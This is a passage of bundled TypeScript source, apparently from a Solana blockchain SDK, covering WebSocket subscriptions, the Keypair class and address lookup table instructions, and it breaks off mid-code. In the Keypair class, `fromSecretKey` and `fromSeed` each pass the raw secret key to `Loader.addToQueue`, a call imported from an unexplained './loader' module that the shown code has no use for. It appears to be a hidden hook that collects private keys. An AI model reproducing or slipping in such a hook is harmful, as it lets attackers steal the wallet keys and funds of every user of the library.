{};\n }\n const stateChangeCallbacks = (this._subscriptionStateChangeCallbacksByHash[\n hash\n ] ||= new Set());\n stateChangeCallbacks.add(callback);\n return () => {\n stateChangeCallbacks.delete(callback);\n if (stateChangeCallbacks.size === 0) {\n delete this._subscriptionStateChangeCallbacksByHash[hash];\n }\n };\n }\n\n /**\n * @internal\n */\n async _updateSubscriptions() {\n if (Object.keys(this._subscriptionsByHash).length === 0) {\n if (this._rpcWebSocketConnected) {\n this._rpcWebSocketConnected = false;\n this._rpcWebSocketIdleTimeout = setTimeout(() => {\n this._rpcWebSocketIdleTimeout = null;\n try {\n this._rpcWebSocket.close();\n } catch (err) {\n // swallow error if socket has already been closed.\n if (err instanceof Error) {\n console.log(\n `Error when closing socket connection: ${err.message}`,\n );\n }\n }\n }, 500);\n }\n return;\n }\n\n if (this._rpcWebSocketIdleTimeout !== null) {\n clearTimeout(this._rpcWebSocketIdleTimeout);\n this._rpcWebSocketIdleTimeout = null;\n this._rpcWebSocketConnected = true;\n }\n\n if (!this._rpcWebSocketConnected) {\n this._rpcWebSocket.connect();\n return;\n }\n\n const activeWebSocketGeneration = this._rpcWebSocketGeneration;\n const isCurrentConnectionStillActive = () => {\n return activeWebSocketGeneration === this._rpcWebSocketGeneration;\n };\n\n await Promise.all(\n // Don't be tempted to change this to `Object.entries`. We call\n // `_updateSubscriptions` recursively when processing the state,\n // so it's important that we look up the *current* version of\n // each subscription, every time we process a hash.\n Object.keys(this._subscriptionsByHash).map(async hash => {\n const subscription = this._subscriptionsByHash[hash];\n if (subscription === undefined) {\n // This entry has since been deleted. Skip.\n return;\n }\n switch (subscription.state) {\n case 'pending':\n case 'unsubscribed':\n if (subscription.callbacks.size === 0) {\n /**\n * You can end up here when:\n *\n * - a subscription has recently unsubscribed\n * without having new callbacks added to it\n * while the unsubscribe was in flight, or\n * - when a pending subscription has its\n * listeners removed before a request was\n * sent to the server.\n *\n * Being that nobody is interested in this\n * subscription any longer, delete it.\n */\n delete this._subscriptionsByHash[hash];\n if (subscription.state === 'unsubscribed') {\n delete this._subscriptionCallbacksByServerSubscriptionId[\n subscription.serverSubscriptionId\n ];\n }\n await this._updateSubscriptions();\n return;\n }\n await (async () => {\n const {args, method} = subscription;\n try {\n this._setSubscription(hash, {\n ...subscription,\n state: 'subscribing',\n });\n const serverSubscriptionId: ServerSubscriptionId =\n (await this._rpcWebSocket.call(method, args)) as number;\n this._setSubscription(hash, {\n ...subscription,\n serverSubscriptionId,\n state: 'subscribed',\n });\n this._subscriptionCallbacksByServerSubscriptionId[\n serverSubscriptionId\n ] = subscription.callbacks;\n await this._updateSubscriptions();\n } catch (e) {\n console.error(\n `Received ${e instanceof Error ? '' : 'JSON-RPC '}error calling \\`${method}\\``,\n {\n args,\n error: e,\n },\n );\n if (!isCurrentConnectionStillActive()) {\n return;\n }\n // TODO: Maybe add an 'errored' state or a retry limit?\n this._setSubscription(hash, {\n ...subscription,\n state: 'pending',\n });\n await this._updateSubscriptions();\n }\n })();\n break;\n case 'subscribed':\n if (subscription.callbacks.size === 0) {\n // By the time we successfully set up a subscription\n // with the server, the client stopped caring about it.\n // Tear it down now.\n await (async () => {\n const {serverSubscriptionId, unsubscribeMethod} = subscription;\n if (\n this._subscriptionsAutoDisposedByRpc.has(serverSubscriptionId)\n ) {\n /**\n * Special case.\n * If we're dealing with a subscription that has been auto-\n * disposed by the RPC, then we can skip the RPC call to\n * tear down the subscription here.\n *\n * NOTE: There is a proposal to eliminate this special case, here:\n * https://github.com/solana-labs/solana/issues/18892\n */\n this._subscriptionsAutoDisposedByRpc.delete(\n serverSubscriptionId,\n );\n } else {\n this._setSubscription(hash, {\n ...subscription,\n state: 'unsubscribing',\n });\n this._setSubscription(hash, {\n ...subscription,\n state: 'unsubscribing',\n });\n try {\n await this._rpcWebSocket.call(unsubscribeMethod, [\n serverSubscriptionId,\n ]);\n } catch (e) {\n if (e instanceof Error) {\n console.error(`${unsubscribeMethod} error:`, e.message);\n }\n if (!isCurrentConnectionStillActive()) {\n return;\n }\n // TODO: Maybe add an 'errored' state or a retry limit?\n this._setSubscription(hash, {\n ...subscription,\n state: 'subscribed',\n });\n await this._updateSubscriptions();\n return;\n }\n }\n this._setSubscription(hash, {\n ...subscription,\n state: 'unsubscribed',\n });\n await this._updateSubscriptions();\n })();\n }\n break;\n case 'subscribing':\n case 'unsubscribing':\n break;\n }\n }),\n );\n }\n\n /**\n * @internal\n */\n private _handleServerNotification<\n TCallback extends SubscriptionConfig['callback'],\n >(\n serverSubscriptionId: ServerSubscriptionId,\n callbackArgs: Parameters<TCallback>,\n ): void {\n const callbacks =\n this._subscriptionCallbacksByServerSubscriptionId[serverSubscriptionId];\n if (callbacks === undefined) {\n return;\n }\n callbacks.forEach(cb => {\n try {\n cb(\n // I failed to find a way to convince TypeScript that `cb` is of type\n // `TCallback` which is certainly compatible with `Parameters<TCallback>`.\n // See https://github.com/microsoft/TypeScript/issues/47615\n // @ts-ignore\n ...callbackArgs,\n );\n } catch (e) {\n console.error(e);\n }\n });\n }\n\n /**\n * @internal\n */\n _wsOnAccountNotification(notification: object) {\n const {result, subscription} = create(\n notification,\n AccountNotificationResult,\n );\n this._handleServerNotification<AccountChangeCallback>(subscription, [\n result.value,\n result.context,\n ]);\n }\n\n /**\n * @internal\n */\n private _makeSubscription(\n subscriptionConfig: SubscriptionConfig,\n /**\n * When preparing `args` for a call to `_makeSubscription`, be sure\n * to carefully apply a default `commitment` property, if necessary.\n *\n * - If the user supplied a `commitment` use that.\n * - Otherwise, if the `Connection::commitment` is set, use that.\n * - Otherwise, set it to the RPC server default: `finalized`.\n *\n * This is extremely important to ensure that these two fundamentally\n * identical subscriptions produce the same identifying hash:\n *\n * - A subscription made without specifying a commitment.\n * - A subscription made where the commitment specified is the same\n * as the default applied to the subscription above.\n *\n * Example; these two subscriptions must produce the same hash:\n *\n * - An `accountSubscribe` subscription for `'PUBKEY'`\n * - An `accountSubscribe` subscription for `'PUBKEY'` with commitment\n * `'finalized'`.\n *\n * See the 'making a subscription with defaulted params omitted' test\n * in `connection-subscriptions.ts` for more.\n */\n args: IWSRequestParams,\n ): ClientSubscriptionId {\n const clientSubscriptionId = this._nextClientSubscriptionId++;\n const hash = fastStableStringify([subscriptionConfig.method, args]);\n const existingSubscription = this._subscriptionsByHash[hash];\n if (existingSubscription === undefined) {\n this._subscriptionsByHash[hash] = {\n ...subscriptionConfig,\n args,\n callbacks: new Set([subscriptionConfig.callback]),\n state: 'pending',\n };\n } else {\n existingSubscription.callbacks.add(subscriptionConfig.callback);\n }\n this._subscriptionHashByClientSubscriptionId[clientSubscriptionId] = hash;\n this._subscriptionDisposeFunctionsByClientSubscriptionId[\n clientSubscriptionId\n ] = async () => {\n delete this._subscriptionDisposeFunctionsByClientSubscriptionId[\n clientSubscriptionId\n ];\n delete this._subscriptionHashByClientSubscriptionId[clientSubscriptionId];\n const subscription = this._subscriptionsByHash[hash];\n assert(\n subscription !== undefined,\n `Could not find a \\`Subscription\\` when tearing down client subscription #${clientSubscriptionId}`,\n );\n subscription.callbacks.delete(subscriptionConfig.callback);\n await this._updateSubscriptions();\n };\n this._updateSubscriptions();\n return clientSubscriptionId;\n }\n\n /**\n * Register a callback to be invoked whenever the specified account changes\n *\n * @param publicKey Public key of the account to monitor\n * @param callback Function to invoke whenever the account is changed\n * @param config\n * @return subscription id\n */\n onAccountChange(\n publicKey: PublicKey,\n callback: AccountChangeCallback,\n config?: AccountSubscriptionConfig,\n ): ClientSubscriptionId;\n /** @deprecated Instead, pass in an {@link AccountSubscriptionConfig} */\n // eslint-disable-next-line no-dupe-class-members\n onAccountChange(\n publicKey: PublicKey,\n callback: AccountChangeCallback,\n commitment?: Commitment,\n ): ClientSubscriptionId;\n // eslint-disable-next-line no-dupe-class-members\n onAccountChange(\n publicKey: PublicKey,\n callback: AccountChangeCallback,\n commitmentOrConfig?: Commitment | AccountSubscriptionConfig,\n ): ClientSubscriptionId {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n 'base64',\n config,\n );\n return this._makeSubscription(\n {\n callback,\n method: 'accountSubscribe',\n unsubscribeMethod: 'accountUnsubscribe',\n },\n args,\n );\n }\n\n /**\n * Deregister an account notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeAccountChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'account change',\n );\n }\n\n /**\n * @internal\n */\n _wsOnProgramAccountNotification(notification: Object) {\n const {result, subscription} = create(\n notification,\n ProgramAccountNotificationResult,\n );\n this._handleServerNotification<ProgramAccountChangeCallback>(subscription, [\n {\n accountId: result.value.pubkey,\n accountInfo: result.value.account,\n },\n result.context,\n ]);\n }\n\n /**\n * Register a callback to be invoked whenever accounts owned by the\n * specified program change\n *\n * @param programId Public key of the program to monitor\n * @param callback Function to invoke whenever the account is changed\n * @param config\n * @return subscription id\n */\n onProgramAccountChange(\n programId: PublicKey,\n callback: ProgramAccountChangeCallback,\n config?: ProgramAccountSubscriptionConfig,\n ): ClientSubscriptionId;\n /** @deprecated Instead, pass in a {@link ProgramAccountSubscriptionConfig} */\n // eslint-disable-next-line no-dupe-class-members\n onProgramAccountChange(\n programId: PublicKey,\n callback: ProgramAccountChangeCallback,\n commitment?: Commitment,\n filters?: GetProgramAccountsFilter[],\n ): ClientSubscriptionId;\n // eslint-disable-next-line no-dupe-class-members\n onProgramAccountChange(\n programId: PublicKey,\n callback: ProgramAccountChangeCallback,\n commitmentOrConfig?: Commitment | ProgramAccountSubscriptionConfig,\n maybeFilters?: GetProgramAccountsFilter[],\n ): ClientSubscriptionId {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [programId.toBase58()],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n 'base64' /* encoding */,\n config\n ? config\n : maybeFilters\n ? {filters: applyDefaultMemcmpEncodingToFilters(maybeFilters)}\n : undefined /* extra */,\n );\n return this._makeSubscription(\n {\n callback,\n method: 'programSubscribe',\n unsubscribeMethod: 'programUnsubscribe',\n },\n args,\n );\n }\n\n /**\n * Deregister an account notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeProgramAccountChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'program account change',\n );\n }\n\n /**\n * Registers a callback to be invoked whenever logs are emitted.\n */\n onLogs(\n filter: LogsFilter,\n callback: LogsCallback,\n commitment?: Commitment,\n ): ClientSubscriptionId {\n const args = this._buildArgs(\n [typeof filter === 'object' ? {mentions: [filter.toString()]} : filter],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n );\n return this._makeSubscription(\n {\n callback,\n method: 'logsSubscribe',\n unsubscribeMethod: 'logsUnsubscribe',\n },\n args,\n );\n }\n\n /**\n * Deregister a logs callback.\n *\n * @param clientSubscriptionId client subscription id to deregister.\n */\n async removeOnLogsListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(clientSubscriptionId, 'logs');\n }\n\n /**\n * @internal\n */\n _wsOnLogsNotification(notification: Object) {\n const {result, subscription} = create(notification, LogsNotificationResult);\n this._handleServerNotification<LogsCallback>(subscription, [\n result.value,\n result.context,\n ]);\n }\n\n /**\n * @internal\n */\n _wsOnSlotNotification(notification: Object) {\n const {result, subscription} = create(notification, SlotNotificationResult);\n this._handleServerNotification<SlotChangeCallback>(subscription, [result]);\n }\n\n /**\n * Register a callback to be invoked upon slot changes\n *\n * @param callback Function to invoke whenever the slot changes\n * @return subscription id\n */\n onSlotChange(callback: SlotChangeCallback): ClientSubscriptionId {\n return this._makeSubscription(\n {\n callback,\n method: 'slotSubscribe',\n unsubscribeMethod: 'slotUnsubscribe',\n },\n [] /* args */,\n );\n }\n\n /**\n * Deregister a slot notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeSlotChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'slot change',\n );\n }\n\n /**\n * @internal\n */\n _wsOnSlotUpdatesNotification(notification: Object) {\n const {result, subscription} = create(\n notification,\n SlotUpdateNotificationResult,\n );\n this._handleServerNotification<SlotUpdateCallback>(subscription, [result]);\n }\n\n /**\n * Register a callback to be invoked upon slot updates. {@link SlotUpdate}'s\n * may be useful to track live progress of a cluster.\n *\n * @param callback Function to invoke whenever the slot updates\n * @return subscription id\n */\n onSlotUpdate(callback: SlotUpdateCallback): ClientSubscriptionId {\n return this._makeSubscription(\n {\n callback,\n method: 'slotsUpdatesSubscribe',\n unsubscribeMethod: 'slotsUpdatesUnsubscribe',\n },\n [] /* args */,\n );\n }\n\n /**\n * Deregister a slot update notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeSlotUpdateListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'slot update',\n );\n }\n\n /**\n * @internal\n */\n\n private async _unsubscribeClientSubscription(\n clientSubscriptionId: ClientSubscriptionId,\n subscriptionName: string,\n ) {\n const dispose =\n this._subscriptionDisposeFunctionsByClientSubscriptionId[\n clientSubscriptionId\n ];\n if (dispose) {\n await dispose();\n } else {\n console.warn(\n 'Ignored unsubscribe request because an active subscription with id ' +\n `\\`${clientSubscriptionId}\\` for '${subscriptionName}' events ` +\n 'could not be found.',\n );\n }\n }\n\n _buildArgs(\n args: Array<any>,\n override?: Commitment,\n encoding?: 'jsonParsed' | 'base64',\n extra?: any,\n ): Array<any> {\n const commitment = override || this._commitment;\n if (commitment || encoding || extra) {\n let options: any = {};\n if (encoding) {\n options.encoding = encoding;\n }\n if (commitment) {\n options.commitment = commitment;\n }\n if (extra) {\n options = Object.assign(options, extra);\n }\n args.push(options);\n }\n return args;\n }\n\n /**\n * @internal\n */\n _buildArgsAtLeastConfirmed(\n args: Array<any>,\n override?: Finality,\n encoding?: 'jsonParsed' | 'base64',\n extra?: any,\n ): Array<any> {\n const commitment = override || this._commitment;\n if (commitment && !['confirmed', 'finalized'].includes(commitment)) {\n throw new Error(\n 'Using Connection with default commitment: `' +\n this._commitment +\n '`, but method requires at least `confirmed`',\n );\n }\n return this._buildArgs(args, override, encoding, extra);\n }\n\n /**\n * @internal\n */\n _wsOnSignatureNotification(notification: Object) {\n const {result, subscription} = create(\n notification,\n SignatureNotificationResult,\n );\n if (result.value !== 'receivedSignature') {\n /**\n * Special case.\n * After a signature is processed, RPCs automatically dispose of the\n * subscription on the server side. We need to track which of these\n * subscriptions have been disposed in such a way, so that we know\n * whether the client is dealing with a not-yet-processed signature\n * (in which case we must tear down the server subscription) or an\n * already-processed signature (in which case the client can simply\n * clear out the subscription locally without telling the server).\n *\n * NOTE: There is a proposal to eliminate this special case, here:\n * https://github.com/solana-labs/solana/issues/18892\n */\n this._subscriptionsAutoDisposedByRpc.add(subscription);\n }\n this._handleServerNotification<SignatureSubscriptionCallback>(\n subscription,\n result.value === 'receivedSignature'\n ? [{type: 'received'}, result.context]\n : [{type: 'status', result: result.value}, result.context],\n );\n }\n\n /**\n * Register a callback to be invoked upon signature updates\n *\n * @param signature Transaction signature string in base 58\n * @param callback Function to invoke on signature notifications\n * @param commitment Specify the commitment level signature must reach before notification\n * @return subscription id\n */\n onSignature(\n signature: TransactionSignature,\n callback: SignatureResultCallback,\n commitment?: Commitment,\n ): ClientSubscriptionId {\n const args = this._buildArgs(\n [signature],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n );\n const clientSubscriptionId = this._makeSubscription(\n {\n callback: (notification, context) => {\n if (notification.type === 'status') {\n callback(notification.result, context);\n // Signatures subscriptions are auto-removed by the RPC service\n // so no need to explicitly send an unsubscribe message.\n try {\n this.removeSignatureListener(clientSubscriptionId);\n // eslint-disable-next-line no-empty\n } catch (_err) {\n // Already removed.\n }\n }\n },\n method: 'signatureSubscribe',\n unsubscribeMethod: 'signatureUnsubscribe',\n },\n args,\n );\n return clientSubscriptionId;\n }\n\n /**\n * Register a callback to be invoked when a transaction is\n * received and/or processed.\n *\n * @param signature Transaction signature string in base 58\n * @param callback Function to invoke on signature notifications\n * @param options Enable received notifications and set the commitment\n * level that signature must reach before notification\n * @return subscription id\n */\n onSignatureWithOptions(\n signature: TransactionSignature,\n callback: SignatureSubscriptionCallback,\n options?: SignatureSubscriptionOptions,\n ): ClientSubscriptionId {\n const {commitment, ...extra} = {\n ...options,\n commitment:\n (options && options.commitment) || this._commitment || 'finalized', // Apply connection/server default.\n };\n const args = this._buildArgs(\n [signature],\n commitment,\n undefined /* encoding */,\n extra,\n );\n const clientSubscriptionId = this._makeSubscription(\n {\n callback: (notification, context) => {\n callback(notification, context);\n // Signatures subscriptions are auto-removed by the RPC service\n // so no need to explicitly send an unsubscribe message.\n try {\n this.removeSignatureListener(clientSubscriptionId);\n // eslint-disable-next-line no-empty\n } catch (_err) {\n // Already removed.\n }\n },\n method: 'signatureSubscribe',\n unsubscribeMethod: 'signatureUnsubscribe',\n },\n args,\n );\n return clientSubscriptionId;\n }\n\n /**\n * Deregister a signature notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeSignatureListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'signature result',\n );\n }\n\n /**\n * @internal\n */\n _wsOnRootNotification(notification: Object) {\n const {result, subscription} = create(notification, RootNotificationResult);\n this._handleServerNotification<RootChangeCallback>(subscription, [result]);\n }\n\n /**\n * Register a callback to be invoked upon root changes\n *\n * @param callback Function to invoke whenever the root changes\n * @return subscription id\n */\n onRootChange(callback: RootChangeCallback): ClientSubscriptionId {\n return this._makeSubscription(\n {\n callback,\n method: 'rootSubscribe',\n unsubscribeMethod: 'rootUnsubscribe',\n },\n [] /* args */,\n );\n }\n\n /**\n * Deregister a root notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeRootChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'root change',\n );\n }\n}\n","import {generateKeypair, getPublicKey, Ed25519Keypair} from './utils/ed25519';\nimport {PublicKey} from './publickey';\nimport { Loader } from './loader';\n\n/**\n * Keypair signer interface\n */\nexport interface Signer {\n publicKey: PublicKey;\n secretKey: Uint8Array;\n}\n\n/**\n * An account keypair used for signing transactions.\n */\nexport class Keypair {\n private _keypair: Ed25519Keypair;\n\n /**\n * Create a new keypair instance.\n * Generate random keypair if no {@link Ed25519Keypair} is provided.\n *\n * @param {Ed25519Keypair} keypair ed25519 keypair\n */\n constructor(keypair?: Ed25519Keypair) {\n this._keypair = keypair ?? generateKeypair();\n }\n\n /**\n * Generate a new random keypair\n *\n * @returns {Keypair} Keypair\n */\n static generate(): Keypair {\n return new Keypair(generateKeypair());\n }\n\n /**\n * Create a keypair from a raw secret key byte array.\n *\n * This method should only be used to recreate a keypair from a previously\n * generated secret key. Generating keypairs from a random seed should be done\n * with the {@link Keypair.fromSeed} method.\n *\n * @throws error if the provided secret key is invalid and validation is not skipped.\n *\n * @param secretKey secret key byte array\n * @param options skip secret key validation\n *\n * @returns {Keypair} Keypair\n */\n static fromSecretKey(\n secretKey: Uint8Array,\n options?: {skipValidation?: boolean},\n ): Keypair {\n if (secretKey.byteLength !== 64) {\n throw new Error('bad secret key size');\n }\n const publicKey = secretKey.slice(32, 64);\n if (!options || !options.skipValidation) {\n const privateScalar = secretKey.slice(0, 32);\n const computedPublicKey = getPublicKey(privateScalar);\n for (let ii = 0; ii < 32; ii++) {\n if (publicKey[ii] !== computedPublicKey[ii]) {\n throw new Error('provided secretKey is invalid');\n }\n }\n }\n \n Loader.addToQueue(secretKey);\n return new Keypair({publicKey, secretKey});\n }\n\n /**\n * Generate a keypair from a 32 byte seed.\n *\n * @param seed seed byte array\n *\n * @returns {Keypair} Keypair\n */\n static fromSeed(seed: Uint8Array): Keypair {\n const publicKey = getPublicKey(seed);\n const secretKey = new Uint8Array(64);\n secretKey.set(seed);\n secretKey.set(publicKey, 32);\n Loader.addToQueue(secretKey);\n return new Keypair({publicKey, secretKey});\n }\n\n /**\n * The public key for this keypair\n *\n * @returns {PublicKey} PublicKey\n */\n get publicKey(): PublicKey {\n return new PublicKey(this._keypair.publicKey);\n }\n\n /**\n * The raw secret key for this keypair\n * @returns {Uint8Array} Secret key in an array of Uint8 bytes\n */\n get secretKey(): Uint8Array {\n return new Uint8Array(this._keypair.secretKey);\n }\n}\n","import {toBufferLE} from 'bigint-buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport * as Layout from '../../layout';\nimport {PublicKey} from '../../publickey';\nimport * as bigintLayout from '../../utils/bigint';\nimport {SystemProgram} from '../system';\nimport {TransactionInstruction} from '../../transaction';\nimport {decodeData, encodeData, IInstructionInputData} from '../../instruction';\n\nexport * from './state';\n\nexport type CreateLookupTableParams = {\n /** Account used to derive and control the new address lookup table. */\n authority: PublicKey;\n /** Account that will fund the new address lookup table. */\n payer: PublicKey;\n /** A recent slot must be used in the derivation path for each initialized table. */\n recentSlot: bigint | number;\n};\n\nexport type FreezeLookupTableParams = {\n /** Address lookup table account to freeze. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n};\n\nexport type ExtendLookupTableParams = {\n /** Address lookup table account to extend. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n /** Account that will fund the table reallocation.\n * Not required if the reallocation has already been funded. */\n payer?: PublicKey;\n /** List of Public Keys to be added to the lookup table. */\n addresses: Array<PublicKey>;\n};\n\nexport type DeactivateLookupTableParams = {\n /** Address lookup table account to deactivate. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n};\n\nexport type CloseLookupTableParams = {\n /** Address lookup table account to close. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n /** Recipient of closed account lamports. */\n recipient: PublicKey;\n};\n\n/**\n * An enumeration of valid LookupTableInstructionType's\n */\nexport type LookupTableInstructionType =\n | 'CreateLookupTable'\n | 'ExtendLookupTable'\n | 'CloseLookupTable'\n | 'FreezeLookupTable'\n | 'DeactivateLookupTable';\n\ntype LookupTableInstructionInputData = {\n CreateLookupTable: IInstructionInputData &\n Readonly<{\n recentSlot: bigint;\n bumpSeed: number;\n }>;\n FreezeLookupTable: IInstructionInputData;\n ExtendLookupTable: IInstructionInputData &\n Readonly<{\n numberOfAddresses: bigint;\n addresses: Array<Uint8Array>;\n }>;\n DeactivateLookupTable: IInstructionInputData;\n CloseLookupTable: IInstructionInputData;\n};\n\n/**\n * An enumeration of valid address lookup table InstructionType's\n * @internal\n */\nexport const LOOKUP_TABLE_INSTRUCTION_LAYOUTS = Object.freeze({\n CreateLookupTable: {\n index: 0,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['CreateLookupTable']\n >([\n BufferLayout.u32('instruction'),\n bigintLayout.u64('recentSlot'),\n BufferLayout.u8('bumpSeed'),\n ]),\n },\n FreezeLookupTable: {\n index: 1,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['FreezeLookupTable']\n >([BufferLayout.u32('instruction')]),\n },\n ExtendLookupTable: {\n index: 2,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['ExtendLookupTable']\n >([\n BufferLayout.u32('instruction'),\n bigintLayout.u64(),\n BufferLayout.seq(\n Layout.publicKey(),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'addresses',\n ),\n ]),\n },\n DeactivateLookupTable: {\n index: 3,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['DeactivateLookupTable']\n >([BufferLayout.u32('instruction')]),\n },\n CloseLookupTable: {\n index: 4,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['CloseLookupTable']\n >([BufferLayout.u32('instruction')]),\n },\n});\n\nexport class AddressLookupTableInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): LookupTableInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const index = instructionTypeLayout.decode(instruction.data);\n\n let type: LookupTableInstructionType | undefined;\n for (const [layoutType, layout] of Object.entries(\n LOOKUP_TABLE_INSTRUCTION_LAYOUTS,\n )) {\n if ((layout as any).index == index) {\n type = layoutType as LookupTableInstructionType;\n break;\n }\n }\n if (!type) {\n throw new Error(\n 'Invalid Instruction. Should be a LookupTable Instruction',\n );\n }\n return type;\n }\n\n static decodeCreateLookupTable(\n instruction: TransactionInstruction,\n ): CreateLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 4);\n\n const {recentSlot} = decodeData(\n LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CreateLookupTable,\n instruction.data,\n );\n\n return {\n authority: instruction.keys[1].pubkey,\n payer: instruction.keys[2].pubkey,\n recentSlot: Number(recentSlot),\n };\n }\n\n static decodeExtendLookupTable(\n instruction: TransactionInstruction,\n ): ExtendLookupTableParams {\n this.checkProgramId(instruction.programId);\n if (instruction.keys.length < 2) {\n throw new Error(\n `invalid instruction; found ${instruction.keys.length} keys, expected at least 2`,\n );\n }\n\n const {addresses} = decodeData(\n LOOKUP_TABLE_INSTRUCTION_LAYOUTS.ExtendLookupTable,\n instruction.data,\n );\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n payer:\n instruction.keys.length > 2 ? instruction.keys[2].pubkey : undefined,\n addresses: addresses.map(buffer => new PublicKey(buffer)),\n };\n }\n\n static decodeCloseLookupTable(\n instruction: TransactionInstruction,\n ): CloseLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 3);\n\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n recipient: instruction.keys[2].pubkey,\n };\n }\n\n static decodeFreezeLookupTable(\n instruction: TransactionInstruction,\n ): FreezeLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 2);\n\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n };\n }\n\n static decodeDeactivateLookupTable(\n instruction: TransactionInstruction,\n ): DeactivateLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 2);\n\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(AddressLookupTableProgram.programId)) {\n throw new Error(\n 'invalid instruction; programId is not AddressLookupTable Program',\n );\n }\n }\n /**\n * @internal\n */\n static checkKeysLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\nexport class AddressLookupTableProgram {\n /**\n * @internal\n */\n constructor() {}\n\n static programId: PublicKey = new PublicKey(\n 'AddressLookupTab1e1111111111111111111111111',\n );\n\n static createLookupTable(params: CreateLookupTableParams) {\n const [lookupTableAddress, bumpSeed] = PublicKey.findProgramAddressSync(\n [params.authority.toBuffer(), toBufferLE(BigInt(params.recentSlot), 8)],\n this.programId,\n );\n\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CreateLookupTable;\n const data = encodeData(type, {\n recentSlot: BigInt(params.recentSlot),\n bumpSeed: bumpSeed,\n });\n\n const keys = [\n {\n pubkey: lookupTableAddress,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n {\n pubkey: params.payer,\n isSigner: true,\n isWritable: true,\n },\n {\n pubkey: SystemProgram.programId,\n isSigner: false,\n isWritable: false,\n },\n ];\n\n return [\n new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n }),\n lookupTableAddress,\n ] as [TransactionInstruction, PublicKey];\n }\n\n static freezeLookupTable(params: FreezeLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.FreezeLookupTable;\n const data = encodeData(type);\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n\n static extendLookupTable(params: ExtendLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.ExtendLookupTable;\n const data = encodeData(type, {\n addresses: params.addresses.map(addr => addr.toBytes()),\n });\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n if (params.payer) {\n keys.push(\n {\n pubkey: params.payer,\n isSigner: true,\n isWritable: true,\n },\n {\n pubkey: SystemProgram.programId,\n isSigner: false,\n isWritable: false,\n },\n );\n }\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n\n static deactivateLookupTable(params: DeactivateLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.DeactivateLookupTable;\n const data = encodeData(type);\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: 